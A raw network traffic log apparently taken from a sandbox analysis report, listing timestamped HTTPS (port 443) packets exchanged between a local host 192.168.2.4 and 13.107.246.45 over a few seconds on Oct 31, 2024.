Oct 31, 2024 17:27:43.289102077 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.289163113 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.289521933 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.289535999 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.323153019 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.323168993 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.323215961 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.323390007 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.323390961 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.323493004 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.323510885 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.323523998 CET	63075	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.323529959 CET	443	63075	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.326486111 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.326541901 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.326611042 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.326761961 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.326787949 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.331707001 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.331729889 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.331803083 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.331816912 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.332031012 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.332043886 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.332052946 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.332195044 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.332227945 CET	443	63076	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.332587004 CET	63076	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.334223986 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.334264040 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.335654020 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.335855961 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.335869074 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.392290115 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.393053055 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.393096924 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.393646955 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.393657923 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409257889 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409282923 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409450054 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.409475088 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409591913 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409627914 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.409661055 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409672976 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.409679890 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.409688950 CET	63078	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.409692049 CET	443	63078	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.412427902 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.412453890 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.412518978 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.412686110 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.412708998 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.421367884 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.421417952 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.421505928 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.421526909 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.421679020 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.421746016 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.421789885 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.421789885 CET	63077	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.421819925 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.421844959 CET	443	63077	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.423938990 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.423968077 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.424050093 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.424220085 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.424233913 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.525664091 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.525747061 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.525948048 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.526009083 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.526036024 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.526051044 CET	63079	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.526057959 CET	443	63079	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.528239012 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.528291941 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:43.528378010 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.528517008 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:43.528533936 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.065855026 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.066606998 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.066623926 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.067018986 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.067023039 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.079178095 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.079586029 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.079617977 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.079816103 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.079823971 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.134615898 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.135055065 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.135066032 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.135482073 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.135488033 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.198368073 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.198426008 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.198525906 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.198810101 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.198832035 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.198847055 CET	63081	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.198853970 CET	443	63081	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.202395916 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.202425957 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.202617884 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.202862978 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.202872992 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.210949898 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.211008072 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.211045027 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.211169958 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.211189985 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.211218119 CET	63080	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.211225033 CET	443	63080	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.213013887 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.213881969 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.213892937 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.214056015 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.214095116 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.214205980 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.214379072 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.214386940 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.214561939 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.214576006 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.261502028 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.261940956 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.261955023 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.262402058 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.262406111 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.263633966 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.263744116 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.263792038 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.263909101 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.263919115 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.263941050 CET	63082	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.263947010 CET	443	63082	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.266324997 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.266355038 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.266427994 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.266560078 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.266572952 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.350774050 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.350816965 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.350878954 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.350898027 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.350930929 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.351032019 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.351082087 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.351139069 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.351327896 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.351327896 CET	63083	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.351341009 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.351349115 CET	443	63083	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.354765892 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.354787111 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.354876041 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.355040073 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.355046034 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.397089958 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.397116899 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.397176027 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.397193909 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.397242069 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.397496939 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.397511005 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.397521019 CET	63084	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.397525072 CET	443	63084	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.400615931 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.400655031 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.400739908 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.400917053 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.400927067 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.960443974 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.960988998 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.961018085 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.961432934 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.961437941 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.993973017 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.994414091 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.994431019 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:44.994846106 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:44.994856119 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.094412088 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.094441891 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.094491959 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.094506025 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.094547987 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.094827890 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.094846964 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.094857931 CET	63086	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.094865084 CET	443	63086	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.098041058 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.098069906 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.098167896 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.098340034 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.098354101 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.114037037 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.114728928 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.114742041 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.115236044 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.115241051 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.133270979 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.133601904 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.133629084 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.133956909 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.133961916 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.241682053 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.241703987 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.241723061 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.241756916 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.241770983 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.241808891 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.241825104 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.251565933 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.251607895 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.251658916 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.251667976 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.251694918 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.251708031 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.251738071 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.251837969 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.251847982 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.251858950 CET	63088	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.251863956 CET	443	63088	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.254635096 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.254709959 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.254806995 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.254941940 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.254973888 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264064074 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264100075 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264152050 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.264174938 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264328003 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.264328003 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.264359951 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264502048 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264529943 CET	443	63089	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.264575005 CET	63089	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.266216993 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.266244888 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.266309023 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.266432047 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.266443968 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.358923912 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.358973980 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.358994007 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.359004021 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.359030008 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.359050989 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.359253883 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.359268904 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.359277964 CET	63087	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.359282970 CET	443	63087	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.362565041 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.362605095 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.362680912 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.362816095 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.362833023 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.423914909 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.424447060 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.424468040 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.424930096 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.424937010 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.693917990 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.693945885 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.693968058 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.694032907 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.694048882 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.694094896 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.696073055 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.696139097 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.696140051 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.696187973 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.696221113 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.696234941 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.696244955 CET	63085	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.696249962 CET	443	63085	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.698821068 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.698843002 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.698920012 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.699069023 CET	63094	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.699079990 CET	443	63094	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.827162027 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.827721119 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.827747107 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.828242064 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.828247070 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.956578016 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.956681013 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.956734896 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.956870079 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.956886053 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.956896067 CET	63090	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.956901073 CET	443	63090	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.959800005 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.959842920 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.959912062 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.960052967 CET	63095	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.960067987 CET	443	63095	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.993838072 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.993951082 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.999130011 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.999185085 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.999550104 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.999567986 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.999845028 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.999862909 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:45.999948978 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:45.999960899 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.086636066 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.087085962 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.087111950 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.087537050 CET	63093	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.087548018 CET	443	63093	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.124810934 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.124944925 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.125006914 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.125188112 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.125209093 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.125221968 CET	63092	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.125227928 CET	443	63092	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.126239061 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.129458904 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.129503965 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.129580021 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.129728079 CET	63096	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.129741907 CET	443	63096	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.179395914 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.179436922 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.179667950 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.179702997 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.179725885 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.179913998 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.179965019 CET	443	63091	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.180015087 CET	63091	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.182508945 CET	63097	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:46.182547092 CET	443	63097	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:46.182611942 CET	63097	443	192.168.2.4	13.107.246.45
